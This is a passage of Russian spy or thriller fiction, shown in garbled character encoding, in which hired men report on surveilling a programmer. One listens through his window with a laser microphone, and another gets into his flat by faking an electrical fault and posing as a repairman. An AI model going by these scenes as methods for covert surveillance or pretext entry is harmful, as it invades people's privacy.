íóë ðóêó ê òåëåôîíó, âçãëÿíóë íà íîìåð, âûñâåòèâøèéñÿ íà ýêðàíå.

Îò íåãî òðåáîâàëè îò÷åò.
— Íó, äàâàé… áàòÿíÿ-êîìáàò…

Îí íàæàë êíîïêó, îòâåòèë.
— Ó âàñ åñòü èíôîðìàöèÿ? — ñ õîäó ñïðîñèëè â òðóáêå.
— Êîíå÷íî, — îòâåòèë Ëåïèõèí. — ß âñåãäà íà øàã âïåðåäè ìíîãèõ.
Åñëè íå âñåõ.
— Ãîâîðèòå.
— Äóìàþ, ÷òî ñîòîâûé òåëåôîí — íå ñàìûé íàäåæíûé êàíàë ïåðåäà-
÷è äàííûõ…
— Íå ñîìíåâàéòåñü â ýòîì, — ãîëîñ çâó÷àë î÷åíü è î÷åíü óâåðåííî. —
Ó ìåíÿ äîñòàòî÷íî äåíåã, ÷òîáû çàïëàòèòü òîìó ÷åëîâåêó, ÷òî ïî îêîí-
÷àíèè íàøåãî ðàçãîâîðà ñîòðåò åãî ñ äèñêîâ ñîòîâîé êîìïàíèè.
— Íî ýòà ïðîöåäóðà ïîäîò÷åòíà ôåäåðàëüíîé ñëóæáå áåçîïàñíîñòè…
— ïîïûòàëñÿ âîçðàçèòü Ëåïèõèí, íî åãî ïåðåáèëè:
— ×åëîâåê ñ äåíüãàìè íåïîäîò÷åòåí íèêîìó. ß æäó èíôîðìàöèþ.
— Íó, òîãäà ñëóøàéòå.

Ëåïèõèí âñïîìíèë â÷åðàøíèé äåíü â äåòàëÿõ. Âñïîìíèë, êàê èñ-
ïîëüçîâàë ñïåöèàëüíóþ àïïàðàòóðó äèñòàíöèîííîãî ñëåæåíèÿ, êîòî-
ðóþ íåëåãàëüíî, ïîëüçóÿñü ñëóæåáíûì ïîëîæåíèåì, âûíåñ ñ áàçû.
Âñïîìíèë, êàê ïûòàëñÿ ïîíÿòü æèçíü ÷åëîâåêà, ïðîñëóøèâàÿ åãî êâàð-
òèðó ÷åðåç îêíî ïðè ïîìîùè ëàçåðíîãî ëó÷à…
— Ñàìîå èíòåðåñíîå — ïîíÿòü òî, ÷òî ïðîèñõîäèëî â êâàðòèðå, ïðàê-
òè÷åñêè íåâîçìîæíî. Âåðíóëñÿ îí ñ ðàáîòû îêîëî ñåìè ÷àñîâ âå÷åðà.
ß ê òîìó âðåìåíè óñòðîèëñÿ íà ÷åðäàêå äîìà íàïðîòèâ, ïðÿìî ïîñðåäè
ãîëóáèíîãî äåðüìà — íó äà ìíå íå ïðèâûêàòü. Îáøàðèë çàðàíåå ëó-
÷îì âñå òðè îêíà, ÷òî âûõîäÿò âî äâîð — áîëüøàÿ êîìíàòà, ñïàëüíÿ è
êóõíÿ. Íè÷åãî — òî åñòü íå ñîâñåì íè÷åãî, õîçÿéñòâåííûå çâóêè ðàçíî-
ãî ðîäà… Âîäà íà êóõíå êàïàåò, ðàäèî ÷åãî-òî ãîâîðèò — ìíîãèå òàê
äåëàþò, îñòàâëÿþò âêëþ÷åííûì ðàäèî, ÷òîáû ñîçäàòü èëëþçèþ ïðèñó-
òñòâèÿ. ×òîáû âîðû íå çàáðàëèñü. Äóìàþ, ðåäêî ïîìîãàåò…
— Ïîäóìàéòå, âñïîìíèòå ïîòî÷íåå — íè÷åãî ñòðàííûì âàì íå ïîêàçà-
ëîñü? — ñïðîñèë ÷åëîâåê íà äðóãîì êîíöå êàíàëà ñâÿçè.
— Íè÷åãî, òóò óæ âàì ïðèäåòñÿ ìíå ïîâåðèòü íà ñëîâî, — Ëåïèõèí êèâ-
íóë ñàì ñåáå. — Çâóêè íà÷àëèñü ñ ïðèõîäîì õîçÿèíà. Øàãè, ùåëêàíüå
âûêëþ÷àòåëÿìè. Âîäà â òóàëåòå… Òå æå çâóêè, òîëüêî íàïðÿìóþ ñâÿ-
çàííûå ñ ÷åëîâåêîì. Ðàäèî ñäåëàë ïîãðîì÷å. Ïîòîì â âîñåìü ÷àñîâ
íà÷àëñÿ ôóòáîë — îí ðàäèî âûêëþ÷èë ñîâñåì è óøåë â êîìíàòó, òóäà,
ãäå òåëåâèçîð. ÖÑÊÀ — «Ñïàðòàê». Äâà — íîëü.
— Êòî?
— «Ñïàðòàê».
— Òî÷íî…
— Ïðîâåðÿåòå?
— Ïðèõîäèòñÿ.
— Ïðîäîëæàþ. Ñèäåë îí è ñìîòðåë ìîë÷à — íåàêòèâíûé òàêîé áîëåëü-
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ùèê. Ïàðó ðàç ïøèêíóëî ïèâî — áàíêè îòêðûâàë. Òåëåôîí íå çâîíèë,
ñàì îí íèêîìó çâîíêîâ íå äåëàë. Ïîòîì äèâàí çàñêðèïåë, ãàçåòà çàøóð-
øàëà. Âîîáùå, ïðèõîäèëîñü áîëüøå íà ñëóõ, ó íåãî øòîðû òîëñòûå…
— Øòîðû? — âäðóã ïåðåñïðîñèë ñîáåñåäíèê. — Âî âñåõ êîìíàòàõ?
— Íà êóõíå — ïðîñòî òþëü. Òàì åãî õîðîøî áûëî âèäíî. Ñòðàííûé
îí êàêîé-òî — ñíà÷àëà ïèâî ïüåò, ïîòîì óæèí ãîòîâèò. Ñäåëàë ñåáå
ÿè÷íèöó… Ñ ïîìèäîðàìè. Òàì æå íà êóõíå âñå ñúåë — âèäíî áûëî,
÷òî êíèãó ÷èòàåò. Íåáîëüøóþ, òèïà òàêèõ, ÷òî íà âîêçàëàõ è ó ìåòðî
ïðîäàþò, áóìàæíûé ïåðåïëåò, èç ñåðèè «Ïðî÷åë è âûêèíóë»…
— Õîðîøî… — òèõî ïðîøåïòàë ñîáåñåäíèê. — Äîìàøíèé îí ó íàñ…
À îí äîìà âî ÷òî îäåò áûë?
— ×èñòî ðóññêèé âàðèàíò, — Ëåïèõèí óñìåõíóëñÿ. — Òðèêî ñ ïóçûðÿ-
ìè, ìàéêà. À ïî óëèöå õîäèò — òàê ëþäè çàñìàòðèâàþòñÿ… Äîðîãî îäåò.
— Ðàáîòà ïîçâîëÿåò.
— Âû ñòðàííûé ÷åëîâåê. ß íå ïîíèìàþ âàøåé ðåàêöèè — ñêëàäûâàåò-
ñÿ âïå÷àòëåíèå, ÷òî âû ïûòàåòåñü òåìè ôàêòàìè, ÷òî ÿ äëÿ âàñ äîáû-
âàþ, äàòü îòâåò íà êàêîé-òî âîïðîñ. È âñå, ÷òî íå óêëàäûâàåòñÿ â âàøó
êàðòèíó, âû ñïåøèòå îáúÿñíèòü — òî ëè äëÿ ìåíÿ, òî ëè äëÿ ñåáÿ.
— Åñòü òàêîé ãðåõ çà ìíîé. Ñëèøêîì óæ âñå ñòðàííî… ×åðåñ÷óð. Íî
äàâàéòå ïðîäîëæèì, íå áóäåì îòâëåêàòüñÿ.
— Äà, — ñîãëàñèëñÿ Ëåïèõèí, — ïîòîìó ÷òî äàëüøå ïîéäåò íå÷òî
ñòðàííîå — ÿ äóìàþ, âû òóò æå çàõîòèòå îáúÿñíèòü è ýòè ôàêòû. Íî,
áîþñü, îíè ïîñòàâÿò âàñ â òóïèê. Õî÷ó çàðàíåå ñïðîñèòü — êòî ýòîò ÷å-
ëîâåê ïî ïðîôåññèè?
— Ïðîãðàììèñò… Òî÷íåå, êîå-÷òî ïîñåðüåçíåå, íî â öåëîì — òàê.
— Òåïåðü ÿ âîîáùå íè÷åãî íå ïîíèìàþ… Ïîíèìàåòå, ïîòîì, ïîñëå
óæèíà, îí ïîøåë â êîìíàòó, âçÿë òàì êàêèå-òî êíèãè — ÿ ñëûøàë, êàê
îí ïåðåëèñòûâàë ñòðàíèöû, ÷òî-òî øåïòàë ñåáå ïîä íîñ. À ïîòîì
îí íàïðàâèëñÿ â ñïàëüíþ, ãäå, íå çàæèãàÿ ñâåò, ÷èòàë âñëóõ ñòèõè…
×èòàë äâà ÷àñà äåñÿòü ìèíóò, ïîêà íå îõðèï. Âû ñëóøàåòå?
— Äà, — ìàøèíàëüíî îòâåòèë ñîáåñåäíèê. ×óâñòâîâàëîñü, ÷òî ýòî
ïðîèçâåëî íà íåãî âïå÷àòëåíèå.
— Ãäå-òî ìèíóò ÷åðåç äâàäöàòü îò íà÷àëà ýòîãî ÷òèâà ÿ óêðåïèë ëó÷
íà øòàòèâå è ñíÿë íàóøíèêè. ß âäðóã ïîíÿë, ÷òî îí òàì, â ñïàëüíå, íà-
äîëãî. Èçðåäêà ÿ ïðîâåðÿë, íå çàêîí÷èë ëè îí — à ýòîò ïàðåíü ÷èòàë,
÷èòàë… È, çíàåòå, âñå âðåìÿ ñ âûðàæåíèåì, ÷óòü ëè íå â ëèöàõ…
— Êîãî ÷èòàë?
— ß óçíàë êîå-÷òî èç Ïóøêèíà, èç Ëåðìîíòîâà… Ïîòîì ïîïàëèñü ïà-
ðî÷êà Öâåòàåâîé… ß, ÷åñòíî ïðèçíàòüñÿ, áîëüøå ñîëäàò, ÷åì ÷èòàòåëü,
ìîé çàïàñ ïîçíàíèé â ëèòåðàòóðå íå îñîáåííî âåëèê. Ñòèõîòâîðåíèÿ
â îñíîâíîì íå äëèííûå, ïîýì íå áûëî òî÷íî. Äà, âñïîìíèë — Åñåíèíà
ìíîãî ÷èòàë, óæ åãî-òî íå óçíàòü ñëîæíî. Âîò òàê ïðîãðàììèñò.
— Âîò òàê… — îòâåòèë òåëåôîí. — ß âñïîìíèë Øòèðëèöà… Âîò îí
òàê æå äâàäöàòü òðåòüåãî ôåâðàëÿ óøåë êóäà-òî â ëåñ è ÷èòàë âñëóõ
ñòèõè. À íà íåì ðåøèëè èñïûòàòü ñëåäÿùóþ àïïàðàòóðó è çàïèñàëè…
— Ïîìíþ, ïîìíþ. «Ýêñïàíñèÿ», ÷àñòü òî ëè ïåðâàÿ, òî ëè âòîðàÿ, ìîãó
îøèáèòüñÿ. Ñòèõè îí ÷èòàë ïî-ðóññêè. Òàê åãî è âû÷èñëèëè.
— ×òî âû ìîæåòå ñêàçàòü îá ýòîì ÷òåíèè? ß èìåþ â âèäó ñòèõè
â ñïàëüíå? Íè íà êàêèå ìûñëè íå íàòîëêíóëî? ß íå òðåáóþ îò âàñ âû-
âîäîâ, äîñòîéíûõ Øåðëîêà Õîëìñà, íî — ìîæåò, ÷òî-òî â ãîëîâå øå-
âåëüíóëîñü?

Ëåïèõèí ïîìîë÷àë, ïîäóìàâ, ÷òî áåñïëàòíûå âõîäÿùèå — ýòî
çäîðîâî. Ïîòîì îòâåòèë:
— ß ñëóøàë ýòî ÷òèâî ðàçà òðè-÷åòûðå, ñ ðàçíûõ ìåñò. Âñëóøèâàëñÿ
â èíòîíàöèè, â ñìûñë, ïûòàëñÿ ïîíÿòü, ïî êàêîìó ïðèíöèïó ïîäáèðà-
ëèñü ýòè ñòèõè. Ïîâòîðþñü — ÿ ñîëäàò, à íå äåòåêòèâ èëè ïñèõîëîã, íî
è ìåíÿ çàöåïèëî ýòî äåëî. ß íèêîãäà íå ñòàëêèâàëñÿ íè ñ ÷åì ïîõîæèì —
è ïîýòîìó íàøåë ñáîðíèê ñòèõîâ Åñåíèíà, òåõ ñàìûõ ñòèõîâ, ÷òî â ïðî-
öåíòíîì ñîîòíîøåíèè ñîñòàâèëè äâå òðåòè îò âñåãî ïðî÷èòàííîãî òîã-
äà â ñïàëüíå. È ÿ ïîíÿë, ÷òî îñíîâíàÿ ìàññà òåêñòîâ ïîñâÿùåíà êàêèì-
òî íåñáûâøèìñÿ ìå÷òàì, ãðóñòè, êîðî÷å — ïîëíûé íåãàòèâ.
— Íî îí íå ïðîèçâîäèò âïå÷àòëåíèÿ ÷åëîâåêà, íàñòðîåííîãî ïåññè-
ìèñòè÷åñêè.
— Òàê òî÷íî, — ïî-âîåííîìó îòâåòèë Ëåïèõèí. — Èìåííî ýòî äëÿ ìåíÿ
ñàìàÿ áîëüøàÿ çàãàäêà…
— Áîëüøå íè÷åãî? Òîëüêî ýòî? Òîëüêî îáùèé íàñòðîé, íåñîîòâåò-
ñòâèå îáðàçà? ×åðòîâñêè ìàëî äëÿ êàêèõ-òî âûâîäîâ…
— Òàì áûëà åùå îäíà ìåëî÷ü… — âíåçàïíî ñêàçàë Ëåïèõèí òàê, áóä-
òî îí âñïîìíèë ýòî òîëüêî ÷òî, õîòÿ íà ñàìîì äåëå íå âûïóñêàë ýòîò
ôàêò èç ãîëîâû íè íà ñåêóíäó.
— ×òî? — ñîáåñåäíèê ñõâàòèëñÿ çà ñëîâà Ëåïèõèíà, êàê óòîïàþùèé
çà ñîëîìèíêó.
— Êîãäà îí ÷èòàë ñòèõè, â ñïàëüíå ðàçäàâàëèñü åùå êàêèå-òî ñòðàí-
íûå çâóêè. Ïðèìåðíî ðàç â äåñÿòü ìèíóò, ÿ çàñåêàë ñ ñåêóíäîìåðîì —

ðàçáðîñ ñîñòàâèë îêîëî äâàäöàòè ñåêóíä. Çâóêè, íàïîìèíàþùèå ùåë-
÷îê âûêëþ÷àòåëÿ. Ïåðâûé ðàç, óñëûøàâ ýòîò çâóê, ÿ îæèäàë, ÷òî â
ñïàëüíå çàãîðèòñÿ ñâåò — íî ýòîãî íå ïðîèçîøëî.
— Ýòî îí ñàì ùåëêàë ÷åì-òî èëè â êîìíàòå ìîã íàõîäèòüñÿ êàêîé-òî
ïðèáîð? Âû ïðîàíàëèçèðîâàëè çâóê? Îøèáêè íåò?

Ëåïèõèí îñìîòðåëñÿ è îáðàòèë âíèìàíèå, ÷òî äî íàáëþäàòåëüíîãî
ïóíêòà îñòàëîñü ñîâñåì íåìíîãî. Îí îñòàíîâèëñÿ, ÷òîáû íå ïîäîéòè ñëèø-
êîì áëèçêî ê ÷àñîâîìó ó øëàãáàóìà — ðàçãîâîð áûë áîëåå ÷åì íåîáû÷-
íûì, åñëè íå ñêàçàòü êðèìèíàëüíûì, íå ïðåäíàçíà÷åííûì äëÿ ÷óæèõ óøåé.
— Ìîå ìíåíèå — çâóê ñõîæ ñî ùåë÷êîì òóìáëåðà êàêîãî-òî ïðèáîðà.
Åñëè îòâëå÷üñÿ îò àòìîñôåðû òàéíû, êîòîðóþ âû íàãíåòàåòå, èñïîëü-
çóÿ ìåíÿ â òåìíóþ, òî ìîæíî áûëî áû ðåøèòü, ÷òî îí çàïèñûâàë ñâîå
÷òåíèå íà êàêîé-òî… Íó, íå çíàþ, ìàãíèòîôîí, àíàëèçàòîð, åùå êà-
êóþ-íèáóäü ÷åðòîâùèíó. Îí æå âñå-òàêè èìååò äåëî ñ õàé-òåêîì. À ìî-
æåò, îí â òåàòðàëüíîå ãîòîâèòñÿ? ß íå çíàþ, ñêàæó âàì ÷åñòíî.
— Ñïàñèáî âàì çà ïîìîùü, — óñëûøàë îí â îòâåò. — Äåíüãè âû ïîëó÷èòå
òî÷íî â ñðîê. Åñëè âû íå âîçðàæàåòå, ÿ áû õîòåë ïðîäîëæèòü ñîòðóäíè÷å-
ñòâî ñ âàìè â äàëüíåéøåì — åñëè áóäåò íåîáõîäèìîñòü. Âû íå ïðîòèâ?
— ß ãîòîâ — ïðè óñëîâèè, ÷òî èíôîðìàöèè ñ âàøåé ñòîðîíû áóäåò
áîëüøå. ß ñëèøêîì ìíîãî âîåâàë âñëåïóþ, ÷òîáû ëþáèòü òàêîé ñïî-
ñîá áîåâûõ äåéñòâèé.
— Ñïàñèáî. Çà ðàçãîâîð íå âîëíóéòåñü — êàê òîëüêî ìû ðàçúåäèíèì-
ñÿ, âñå áóäåò óíè÷òîæåíî.

Â òðóáêå ñòàëî òèõî. Ëåïèõèí ïîñìîòðåë íà ýêðàí — ãîðåëî ñîîá-
ùåíèå «Âûçîâ çàâåðøåí». Îíè ïðîãîâîðèëè ïî÷òè äâàäöàòü ìèíóò.
— Íàäî áûëî ñêàçàòü ïðî ïàìïåðñû, — ïîêà÷àë îí ãîëîâîé, ïîäõîäÿ
ê øëàãáàóìó. — Çà÷åì îíè ýòîìó ïàðíþ?

Ëåïèõèí âñïîìíèë, êàê ÷åëîâåê, çà êîòîðûì îí íàáëþäàë, âîøåë
â ïîäúåçä, íåñÿ â ðóêàõ ïà÷êó ïîäãóçíèêîâ. Âñïîìíèë — à ïîòîì ìàõ-
íóë ðóêîé, îòâåòèë íà ïðèâåòñòâèå ÷àñîâîãî è çàáûë î ðàçãîâîðå.

* * * 
Êîðîòêîâ óñòàëî ïîñòàâèë ñóìêó ñ èíñòðóìåíòàìè íà ïîë è ñåë íà ðàñ-
øàòàííûé ñòóë. Ñåãîäíÿ áûëî ïî÷òè òðèäöàòü âûçîâîâ — è ïóñòü áîëü-
øå ïîëîâèíû èç íèõ áûëè ïóñòÿêîâûìè, ëþäè ïðîñèëè ïîìåíÿòü «àâ-
òîìàò», íàëàäèòü ïðîâîäêó â ðîçåòêàõ è âûêëþ÷àòåëÿõ, îí âñå ðàâíî
î÷åíü ñèëüíî óñòàë. Îòïóñêà íå áûëî óæå áîëüøå ãîäà — ëþäè óâîëü-
íÿëèñü èç äîìîóïðàâëåíèÿ, áåæàëè â ðàçíûå êîììåð÷åñêèå ôèðìû
â íàäåæäå çàðàáîòàòü. Íà÷àëüíèê âñå íèêàê íå ìîã ñìèðèòüñÿ
ñ ìûñëüþ, ÷òî åãî åäèíñòâåííûé ýëåêòðèê õî÷åò îòäîõíóòü — è íå
ïðîñòî îòäîõíóòü ïàðó äíåé íà áåðåãó ðåêè ñ óäî÷êîé, à ïîëó÷èòü ïîë-
íîöåííûé äâóõìåñÿ÷íûé îòïóñê, ïîëîæåííûé ïî çàêîíó.

Âûòàùèâ ïà÷êó ñèãàðåò, Êîðîòêîâ çàêóðèë. Â êîìíàòå ìàñòåðà
ó÷àñòêà áûëî ïóñòî, íèêòî íå ñòàë áû âîçìóùàòüñÿ è âûãîíÿòü åãî íà
óëèöó. Îòîðâàâ êóñî÷åê ãàçåòû, îí ñîîðóäèë èç íåãî êóëåê è ñòàë ñòðÿ-
õèâàòü òóäà ïåïåë.
— Íàäî æå ïîçâîíèòü, — ñêàçàë îí ñàì ñåáå. — Íàäî…

Îí íèêîãäà íå ëþáèë òåëåôîííûå ðàçãîâîðû — îñîáåííî åñëè
íàäî áûëî çâîíèòü ñàìîìó. Åùå ñî øêîëû îí âñåìè ïðàâäàìè è íåï-
ðàâäàìè ïûòàëñÿ èçáåæàòü êîíòàêòà ñ òåëåôîííîé òðóáêîé — åãî ïóãà-
ëî îáùåíèå ñ íåâèäèìûì ñîáåñåäíèêîì è âåðîÿòíîñòü ïîïàñòü íå òóäà
è íå íà òîãî. Íî ñåãîäíÿ âñå áûëî î÷åíü ñåðüåçíî — íàäî áûëî îò÷è-
òàòüñÿ çà âûïîëíåííóþ ðàáîòó. Îò÷èòàòüñÿ, ïîëó÷èòü ãîíîðàð è óçíàòü,
êàêèì îáðàçîì ìîæíî áóäåò âåðíóòü âçÿòûé â êàìåðå õðàíåíèÿ íà âîê-
çàëå öèôðîâîé ôîòîàïïàðàò. Âîò æå åùå ïðîáëåìà — ñíà÷àëà âçÿòü,
çà ïàðó ÷àñîâ íàó÷èòüñÿ èì ïîëüçîâàòüñÿ, ïîòîì îòäàòü íàçàä ñ òàêèìè
æå ìåðàìè ñåêðåòíîñòè!

Êîðîòêîâ ÷óâñòâîâàë ñåáÿ êàêèì-òî Äæåéìñîì Áîíäîì — äî ýòîãî
îí èìåë äåëî òîëüêî ñ ïðîâîäàìè, àìïåðìåòðîì è ïðî÷åé àïïàðàòóðîé,
îòâå÷àþùåé çà íîðìàëüíóþ ðàáîòó ýëåêòðè-
÷åñòâà â äîìàõ. Íûí÷å æå ïðèøëîñü ïîèã-
ðàòü â øïèîíîâ…

×åëîâåê, êîòîðûé äàë åìó çàäàíèå,
îáðàòèëñÿ ê íåìó íàïðÿìóþ, ïîçâîíèâ â äî-
ìîóïðàâëåíèå. Êîðîòêîâà ïðèãëàñèëè ê òå-
ëåôîíó ïîä âèäîì âûçîâà ê çíàêîìîìó — è
îí óñëûøàë, ÷òî íåêòî íåèçâåñòíûé âûáðàë
åãî äëÿ âûïîëíåíèÿ îäíîãî íåñëîæíîãî, íî
î÷åíü îòâåòñòâåííîãî çàäàíèÿ. Íàäî áûëî
âîéòè â îäíó êâàðòèðó — ÿêîáû äëÿ âûïîë-
íåíèÿ ðåìîíòíûõ ðàáîò, — èçó÷èòü âíèìà-
òåëüíî îáñòàíîâêó â ýòîé êâàðòèðå, ïî âîç-
ìîæíîñòè çàôèêñèðîâàòü åå («Ó âàñ åñòü
öèôðîâàÿ êàìåðà?» — «×òî?.. Êàêàÿ?» —

ÇÍÀË
ÎÄÍÓ…
ÏÎ ÂÎÅÍÍÎÌÓ
ÂÅÄÎÌÑÒÂÓ.
ÄÀÂÍÎ
ÝÒÎ ÁÛËÎ…
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«Ïîíÿòíî, ÿ ïåðåäàì âàì åå,
äîïîëíèòåëüíî ïîëó÷èòå
èíñòðóêöèè çàâòðà â ýòî æå
âðåìÿ. Áóäüòå íåäàëåêî îò òå-
ëåôîíà…»). Îñîáîå âíèìàíèå
íàäî áûëî îáðàòèòü íà —
1) êîìïüþòåðû; 2) êíèãè; 3) ðàç-
íûå ñòðàííîñòè, êîòîðûå ïðîñ-
òî áðîñÿòñÿ â ãëàçà. Â ñëó÷àå
íàëè÷èÿ â êâàðòèðå ãîñòåé —
çàïîìíèòü èõ ëèöà, èìåíà; åñëè
âî âðåìÿ ðàáîòû â êâàðòèðå áó-
äóò êàêèå-òî òåëåôîííûå çâîí-
êè — ïîñòàðàòüñÿ çàïîìíèòü èõ
ñîäåðæàíèå.

Ñëóøàÿ âñå ýòî, Êîðîòêîâ êîñèëñÿ îäíèì ãëàçà íà ìàñòåðà, êîòî-
ðûé ÷èòàë «Êîìñîìîëêó», ðàçëîæèâ íà óæå ïðî÷èòàííûõ ëèñòàõ êîëáà-
ñó è âàðåíûå ÿéöà. Åñëè áû òîëüêî îí äîãàäûâàëñÿ, î ÷åì ñåé÷àñ ãîâî-
ðèò åãî ýëåêòðèê, êàêèå èíñòðóêöèè ïîëó÷àåò, îí, íàâåðíîå, ïåðâûì äå-
ëîì ïîçâîíèë áû â ìèëèöèþ — ïîñêîëüêó êðèìèíàë òóò áûë âèäåí íåâî-
îðóæåííûì ãëàçîì. Íî íåò — ìàñòåð àïïåòèòíî ÷àâêàë è, íè÷åãî íå ïî-
äîçðåâàÿ, ïðîñìàòðèâàë íîâîñòè. Êîðîòêîâ áûë ó íåãî íà õîðîøåì ñ÷å-
òó — à íà êàêîì æå åùå ñ÷åòó ìîæåò áûòü åäèíñòâåííûé ñîòðóäíèê?

Íà ñëåäóþùèé äåíü çâîíîê ðàçäàëñÿ ñíîâà. Åìó ñîîáùèëè íî-
ìåð è øèôð êàìåðû õðàíåíèÿ íà îäíîì èç âîêçàëîâ. Êîðîòêîâ ïîñëå
ñìåíû îòïðàâèëñÿ òóäà è ïîëó÷èë â ñâîå ðàñïîðÿæåíèå òîíåíüêóþ
êàðìàííóþ «Ìèíîëòó», èíñòðóêöèþ ê íåé, ÷åòûðå áàòàðåéêè
«Duracell» è ëèñòîê ñ àäðåñîì è íîìåðîì òåëåôîíà äëÿ îò÷åòà.

Âûó÷èâ àäðåñ íàèçóñòü è çàïîìíèâ âñå äàííûå ÿ÷åéêè (÷òîáû ïîòîì
ïåðåäàòü ÷åðåç íåå ôîòîàïïàðàò îáðàòíî), îí ñ óòðà ïðèøåë íà ó÷àñòîê è,
ïîæàëîâàâøèñü íà çäîðîâüå, ïîïðîñèë îòãóë. Ìàñòåð ñóðîâî ïîñìîòðåë
åìó â ãëàçà, íî ðóêà Êîðîòêîâà, äåðæàùàÿñÿ çà æèâîò, óáåäèëà åãî.
— Ìåíüøå åñòü íàäî ÷òî ïîïàëî, — ñåðäèòî ñêàçàë îí ýëåêòðèêó. —
Çàâòðà ÷òîá áûë íà ðàáîòå. Ñåãîäíÿ óæå åñòü ÷åòûðå çàÿâêè, îòîáü-
þñü, êàê ñìîãó. Íî çàâòðà…

Îí ïîãðîçèë åìó òîëñòûì ïàëüöåì. Êîðîòêîâ ñîãëàñíî êèâíóë,
ñîãíóâøèñü è äåðæàñü çà æèâîò, âûøåë íà óëèöó è, îòîéäÿ îò ó÷àñòêà
ìåòðîâ íà ñòî, ðàñïðÿìèëñÿ è îòïðàâèëñÿ ïî àäðåñó, êîòîðûé åìó ïå-
ðåäàëè, è ãäå ïðîæèâàë Êîáçàðü Íèêèòà, äâàäöàòè âîñüìè ëåò.

…Ñèãàðåòà êîí÷èëàñü. Êîðîòêîâ ïîñëþíÿâèë ïàëåö, çàòóøèë
îêóðîê. Òåëåôîí ïðèòÿãèâàë åãî è îòòàëêèâàë îäíîâðåìåííî. Îí âûø-
âûðíóë â îòêðûòîå îêíî êóëå÷åê ñ ïåïëîì è âçÿë òðóáêó.

Íîìåð îí íàáèðàë äîëãî, äåëàÿ ïàóçû ìåæäó öèôðàìè ïî íåñ-
êîëüêó ñåêóíä. Ãóäîê â òðóáêå áûë ãðîìêèì; íèêòî íå îòâå÷àë äîâîëü-
íî äîëãî, Êîðîòêîâ óæå ðåøèë, ÷òî ðàçãîâîð íå ñîñòîèòñÿ, ïî êðàéíåé
ìåðå ñåãîäíÿ, íî âíåçàïíî â óõå ùåëêíóëî, è îí óñëûøàë:
— Ñëóøàþ âàñ.
— Ýòî Êîðîòêîâ…
— ß çíàþ, ó ìåíÿ îïðåäåëèòåëü íîìåðà. ×òî âû ìîæåòå ìíå ðàññêà-
çàòü? Ó âàñ ïîëó÷èëîñü âîéòè â êâàðòèðó? Åñòü ôîòîãðàôèè?
— Ñ ôîòîãðàôèÿìè äîâîëüíî ñëîæíî, îáúÿñíþ ïî õîäó äåëà. Â îá-
ùåì, ïî÷òè âñå ïîëó÷èëîñü… — âûäîõíóë Êîðîòêîâ. — Áûëè êîå-êà-
êèå òåõíè÷åñêèå òðóäíîñòè, íå âñå óäàëîñü ðàññìîòðåòü íàñòîëüêî,
÷òîáû ïîíÿòü…
— Íà÷íèòå ñ ñàìîãî íà÷àëà. Âàì óäîáíî ãîâîðèòü? Èëè ëó÷øå íàïè-
øèòå è ïåðåäàäèòå ÷åðåç êàìåðó õðàíåíèÿ âìåñòå ñ ôîòîàïïàðàòîì?

Êîðîòêîâ ïîäóìàë, ÷òî èìåë â øêîëå «òðè» ïî ðóññêîìó ÿçûêó —
ïðè÷åì ñ áîëüøîé, ïðîñòî-òàêè îãðîìíîé íàòÿæêîé.
— Íåò, ëó÷øå ñåé÷àñ. Ïîêà â ïàìÿòè âñå áîëåå-ìåíåå ñâåæî.
— Äàâàéòå, — ïîòðåáîâàëè îò Êîðîòêîâà. — È ïîñòàðàéòåñü íå óïóñ-
òèòü íè îäíîé ìåëî÷è.
— ß ïðèøåë, êàê è ïëàíèðîâàë, âî âòîðîé ïîëîâèíå äíÿ — äî ýòîãî
óæå ïîäíèìàëñÿ íà åãî ïëîùàäêó, èçó÷èë ùèòîê, ñäåëàë âèä, ÷òî èñï-
ðàâëÿþ êîå-êàêóþ ìåëêóþ àâàðèþ… Â îñíîâíîì ðàññ÷èòûâàë íà ñîñå-
äåé — ïðîñòî óâåðåí, ÷òî êàêàÿ-íèáóäü áàáóøêà ïÿëèëàñü ìíå â ñïèíó
ñêâîçü äâåðíîé ãëàçîê.

Âå÷åðîì ÿ ïîÿâèëñÿ îêîëî âîñüìè. Õîçÿèí áûë óæå äîìà —
âîéäÿ âî äâîð, ÿ ïîñìîòðåë íà åãî îêíà; ñâåò ãîðåë â áîëüøîé êîì-
íàòå. ×åðåç äâåðü áûë ñëûøåí òåëåâèçîð; ÿ ïîòîïòàëñÿ âîçëå
êâàðòèðû, ïîòîì äîñòàë çàæèãàëêó, ïîäïàëèë êóñîê ïðîâîäà, êîòî-
ðûé âûòàùèë èç êàðìàíà, äîæäàëñÿ, êîãäà îí íà÷íåò ïðîñòî òëåòü
è áðîñèë åãî â ýëåêòðîùèòîê. Ìèíóòû ÷åðåç òðè íà ïëîùàäêå óæå
õîðîøî ïàõëî ïàëåíîé ïðîâîäêîé; ÿ ñìåëî îòêðûë ùèòîê è âûðó-
áèë åãî àâòîìàòû.

Çà äâåðüþ òóò æå ñòàëî òèõî. ß çíàþ, ÷òî â òàêèõ ñëó÷àÿõ ëþäè íå
ñðàçó ñîîáðàæàþò, ÷òî âûêëþ÷èëè ýëåêòðè÷åñòâî òîëüêî â èõ êâàðòèðå —
îíè ñèäÿò, ñîîáðàæàþò, ãäå ó íèõ ñâå÷à, ñïè÷êè, êàê ïîçâîíèòü â àâàðèé-
íóþ ñëóæáó… ß íå ñòàë çàñòàâëÿòü åãî äîëãî æäàòü è ïîñòó÷àë â êâàðòèðó.

Îí îòêðûë áûñòðî è î÷åíü óäèâèëñÿ, óâèäåâ ñâåò íà ëåñòíè÷íîé
ïëîùàäêå. ß íàçâàëñÿ ýëåêòðèêîì ñ àâàðèéêè, îáúÿñíèë, ÷òî âûçâàëè
ìåíÿ ñîñåäè, êîòîðûå ïî÷óâñòâîâàëè çàïàõ ãîðåëîé ïðîâîäêè íà ïëî-
ùàäêå. È, êàê êàæåòñÿ íà ïåðâûé âçãëÿä, ãîðÿò àâòîìàòû èìåííî â åãî
êâàðòèðå. Ïîýòîìó ìíå íåîáõîäèìî âîéòè âíóòðü è ïðîêîíòðîëèðî-
âàòü ïîäêëþ÷åíèå âñåõ ýëåêòðîïðèáîðîâ.

Îí ñëóøàë ìåíÿ ïîíà÷àëó íîðìàëüíî — íî êàê òîëüêî ÿ ñêàçàë,
÷òî ìíå íóæíî âîéòè… Âîò òóò îí èçìåíèëñÿ â ëèöå.
— Âû ñ÷èòàåòå, ÷òî îí âñåìè ïðàâäàìè è íåïðàâäàìè ãîòîâ áûë íå
ïóñòèòü âàñ ê ñåáå äîìîé?
